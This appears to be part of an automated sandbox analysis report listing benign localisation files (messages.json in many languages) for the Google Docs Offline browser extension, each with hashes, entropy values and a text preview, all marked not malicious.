SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
